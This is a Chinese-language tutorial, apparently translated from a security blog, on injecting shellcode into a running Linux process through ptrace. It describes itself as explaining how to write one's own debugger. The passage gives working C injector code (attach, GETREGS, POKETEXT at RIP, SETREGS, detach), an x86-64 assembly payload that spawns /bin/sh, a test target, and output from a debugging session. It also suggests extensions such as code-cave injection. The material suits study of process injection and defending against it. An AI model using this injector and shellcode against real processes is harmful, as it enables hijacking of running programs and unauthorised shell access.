导语:目前,已经有很多详细的技术文章,讲解攻击者是如何将被感染的文件注入到二进制代码中,以便下次启动受感染的程序时执行恶意代码。但是,针对正在运行的进程,攻击者可以采取什么方式实现感染呢?本文将主要介绍攻击者如何在内存中向正在
概述
目前,已经有很多详细的技术文章,讲解攻击者是如何将被感染的文件注入到二进制代码中,以便下次启动受感染的程序时执行恶意代码。但是,针对正在运行的进程,攻击者可以采取什么方式实现感染呢?本文将主要介绍攻击者如何在内存中向正在运行的进程实现注入,换而言之,本文主要介绍如何编写自己的调试器。
相关研究成果
在展开细节之前,我们首先介绍一些相关的基础知识和研究成果。
我们的第一个示例与恶意软件无关,而是一个多年来始终在研究的问题:运行时修补(Run-time Patching)。在实际中,有一些系统不能轻易关闭,否则将会造成很大的经济损失。在这种情况下,如何将补丁更新到正在运行的进程(最好是不需要重新启动应用程序)成为了一个热点问题。如今,云/虚拟机的解决方案已经在一定程度上解决了这一问题,“SW热部署”变得不再流行。
另一个相关的研究是调试器和逆向工程工具的开发过程,例如著名的radare2。在本篇文章中,我们也将重点介绍它的工作原理。
此外的相关研究显然就是恶意软件,包括病毒、后门等众多类型。恶意软件的示例较多,无法一一列举。大家可能知道,其中最相关的一个功能就是meterpreter进程迁移功能,可以将Payload移动到另一个正在运行的良性应用程序。
如果大家阅读过我此前的文章,就会了解我主要是对Linux环境进行研究。但针对其他操作系统,其基本概念应该非常相似,所以希望本篇文章也能够帮助到其他操作系统的研究者。
在进行了充分的介绍之后,我们开始分析。
Linux中的进程调试
从技术角度来看,要想访问另一个进程并对其进行修改,需要借助操作系统所提供的调试接口。在Linux系统中,这个调试系统的调用名为ptrace。包括gdb、radare2、ddd、strace在内的所有这些工具都要借助于ptrace才能实现它们的功能。
Ptrace系统调用允许进程对另一个进程进行调试。使用ptrace,我们可以暂停目标进程的执行,对其位于寄存器和内存的值进行检查,并能够将它们修改成我们希望的任意值。
有两种方式可以对进程进行调试。第一种方式(也是最直接的方式)是使用调试器启动进程fork和exec。如果将程序名称作为参数,传递给gdb或者strace,其本质上就是采用了第一种方式。
而我们的另一种选择是,将调试器动态附加到正在运行的进程上。
本文将选择第二种方式,首先希望大家对相关的基础知识足够熟悉,以便能够熟练的自行启动进程并进行调试。
附加到正在运行的进程
为了修改正在运行的进程,我们要做的第一件事就是对其进行调试。这个过程称为“附加”(Attach),实际上这是gdb中的一个命令,其主要执行的内容如下述代码所示:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <sys/user.h> #include <sys/reg.h> int main (int argc, char *argv[]) { pid_t target; struct user_regs_struct regs; int syscall; long dst; if (argc != 2) { fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]); exit (1); } target = atoi (argv[1]); printf ("+ Tracing process %d\n", target); if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) { perror ("ptrace(ATTACH):"); exit (1); } printf ("+ Waiting for process...\n"); wait (NULL);
在上面的代码中,我们看到了需要1个参数的典型main函数。具体而言,这一参数就是我们要修改的进程的PID(进程标识符)。我们将会在每一次单独的ptrace调用中使用此参数,所以最好能首先将其存储在某个目标变量中。
然后,我们调用ptrace,使用第一个参数PTRACE_ATTACH,并将第二个参数设定为要附加的进程的PID。之后,我们需要调用wait来等待标志着附加构成完成的SIGTRAP信号。
此时,我们连接的进程已经停止,也就意味着我们可以对其进行任意地修改。
注入代码
第一步,我们必须要决定在哪里注入代码。这里存在很多可能:
1、我们可以在当前正在执行的指令位置注入代码。如果这样,注入的过程将变得非常简单,但其缺点是会破坏目标进程,无法恢复其原本的功能。
2、另外,我们也可以尝试在主函数所在的地址注入代码。在这一位置的代码可能只包含一些在执行刚刚开始时发生的初始化过程,大概率可以保持目标进程原本的功能。
3、还有一个选择,是使用ELF感染技术进行代码注入,例如我们可以找到内存中的Code Cave。
4、最后一种选择,我们也可以将代码注入栈中,利用常规的缓冲区溢出。这样是非常安全的,我们可以避免破坏程序,但进程有可能会被不可执行的栈保护进程保护,这种方法可能会失败。
为了简单起见,当我们对进程进行控制时,我们准备在指令指针(x86 64位的RIP寄存器)位置注入代码。正如大家稍后看到的,我们要注入的代码的作用是启动Shell会话,因此我们不需要将控制权交回给原始进程。换而言之,在我们的Demo中,是否破坏程序的一部分功能并不重要。
获取注册信息并修改内存
我们在进程中要注入的代码如下:
printf ("+ Getting Registers\n"); if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(GETREGS):"); exit (1); } printf ("+ Injecting shell code at %p\n", (void*)regs.rip); inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE); regs.rip += 2;
在这段代码中,首先会使用参数PTRACE_GETREGS来调用ptrace。这一调用过程允许我们的程序从受控制的进程中检索寄存器的值。
之后,使用函数将Shellcode注入目标进程。请注意,我们现在要获取regs.rip的值,该值实际上包含来自目标进程的当前指令指针寄存器值。大家可以这样理解,inject_data函数只是将我们的Shellcode复制到reg.rip所指向的地址中,但这一过程是在目标进程中发生。
我们来具体看看。
int inject_data (pid_t pid, unsigned char *src, void *dst, int len) { int i; uint32_t *s = (uint32_t *) src; uint32_t *d = (uint32_t *) dst; for (i = 0; i < len; i+=4, s++, d++) { if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) { perror ("ptrace(POKETEXT):"); return -1; } } return 0; }
是不是非常简单?关于这个函数,我们只有两点需要讨论:
1、PTRACE_POKETEXT用于在正在调试的进程的内存中写入,这就是我们实际在目标进程中注入代码的方式,PTRACE_PEEKTEXT也是一样。
2、PTRACE_POKETEXT函数适用于word,因此我们将所有内容转换为word指针(32位),同时也将i增加4。
运行注入的代码
现在,我们已经修改了目标进程的内存位置,其中已经包含我们想要运行的代码。接下来要做的,只需要将控制权交还给进程并让它继续运行。这一过程可以通过几种不同的方式完成。在这种情况下,我们将分离目标进程,即我们停止调试目标进程。此操作有效的停止调试会话并继续执行目标进程:
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip); if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(GETREGS):"); exit (1); } printf ("+ Run it!\n"); if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) { perror ("ptrace(DETACH):"); exit (1); } return 0; }
这一过程也非常简单易懂。大家可能会注意到,我们现在正在设置寄存器。那么回到上一节的内容,看看我们是如何注入代码的。大家请注意观察regs.rip += 2那一行。
没错,我们对指令指针进行了修改,而这正是我们必须要在交出控制权之前在目标进程上设置寄存器的原因。实质上,指令指针会变为PTRACE_DEATCH减去2个字节的值。
为什么是2个字节?
在调用PTRACE_DEATCH时,为什么要从RIP减去两个字节,这个问题有些难以理解,我们将在本节详细解释。
在测试期间,当我尝试向栈中注入代码时,目标程序发生了崩溃。之所以造成崩溃,其原因之一是该栈不能用于我的目标程序之中。于是,我使用execstack工具解决了这一问题。但是,在具有执行权限的内存区域中注入代码时,也会出现问题。因此,我将注意力放在核心转储上,并想要弄清楚究竟发生了什么。
最终我们发现,原因在于不能对目标程序运行gdb,否则我们的第一个ptrace调用将会失败。我们无法同时使用两个调试器,去调试同一个程序,因此在我们此前尝试在栈中注入代码时,会得到失败的结果。
注入程序的输出结果如下:
+ Tracing process 15333 + Waiting for process... + Getting Registers + Injecting shell code at 0x7ffe9a708728 + Setting instruction pointer to 0x7ffe9a708708 + Run it!
当然,在实际的系统中,所有地址和PID都会有所不同。但不管怎样,上述过程会在目标程序上产生一个核心转储,我们可以使用gdb对其进行查看。
$ gdb ./target core (... gdb start up messages removed ...) Reading symbols from ./target...(no debugging symbols found)...done. [New LWP 15333] Core was generated by `./target'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x00007ffe9a708706 in ?? ()
我们在这里看到的,是导致段错误的地址。如果将该地址与注入工具产生报告中的地址进行比较,会发现它们相差了2个字节。因此,我们减去两个字节,就能够使注入工具正常工作。
测试过程
为了测试上述原理是否实际可行,我写了一个非常简单的程序。该程序只会打印它的PID(这样一来我就不用手动查找了),然后在屏幕上打印10次信息,每两次之间等待2秒,而这2秒就是等待启动注入工具的时间。
#include <stdio.h> #include <unistd.h> int main() { int i; printf ("PID: %d\n", (int)getpid()); for(i = 0;i < 10; ++i) { write (1, "Hello World\n", 12); sleep(2); } getchar(); return 0; }
我使用的Shellcode,是从这个简单的汇编程序文件生成的:
section .text global _start _start: xor rax,rax mov rdx,rax ; No Env mov rsi,rax ; No argv lea rdi, [rel msg] add al, 0x3b syscall msg db '/bin/sh',0
总结
Ptrace是一个非常强大的工具。而在本文中,我们仅仅讲解了基础的知识。希望大家能够打开终端,输入man ptrace,自行对这一系统调用展开深入的了解。
如果大家有兴趣,可以自行尝试一些事情:
修改注入工具,并在Code Cave中注入代码;
使用更复杂的Shellcode来分配进程,并且保持原始进程的持续运行;
将Shellcode运行在目标程序上,并且可以访问所有打开的文件。
本文相关的源代码,都可以在我的GitHub上找到:https://github.com/0x00pf/0x00sec_code/tree/master/mem_inject 。